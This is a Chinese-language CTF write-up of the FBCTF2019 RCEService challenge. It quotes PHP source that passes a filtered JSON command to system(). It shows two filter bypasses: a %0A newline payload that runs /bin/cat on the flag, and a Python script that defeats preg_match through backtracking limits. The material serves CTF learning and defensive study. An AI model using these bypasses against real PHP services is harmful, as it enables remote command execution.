[FBCTF2019]RCEService

原题目:

rceservice

题目描述:

We created this web interface to run commands on our servers, but since we haven't figured out how to secure it yet we only let you run 'ls'

http://challenges.fbctf.com:8085

(This problem does not require any brute force or scanning.
We will ban your team if we detect brute force or scanning).

源码:

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

提示输入json命令,json格式为键值对模式,输入{“cmd”:“ls”}

过滤的很多,可以绕过preg_match(绕过preg_match函数)函数本身

第一种方法:因为preg_match只会去匹配第一行,所以这里可以用多行进行绕过

源码中可以看到putenv('PATH=/home/rceservice/jail')已经修改了环境变量

 cat命令在/bin中保存

payload :

cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

%0A是换行符

第二种方法:利用回溯次数来绕过函数

原题是用POST传参,在这里记录一下原题的脚本,因为复现是用GET传参,所以会导致414报错,

import requests

url = "http://9642293b-6ae3-4e99-9949-888648b4bdf9.node4.buuoj.cn:81/"
data = {
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","r1":"'+'a'*1000000+'"}' #设置r1参数,值为100万个a
}
r=requests.post(url=url,data=data).text #使用post方法请求,get方法会因为请求头过大而报错
print(r)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

半两八金

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值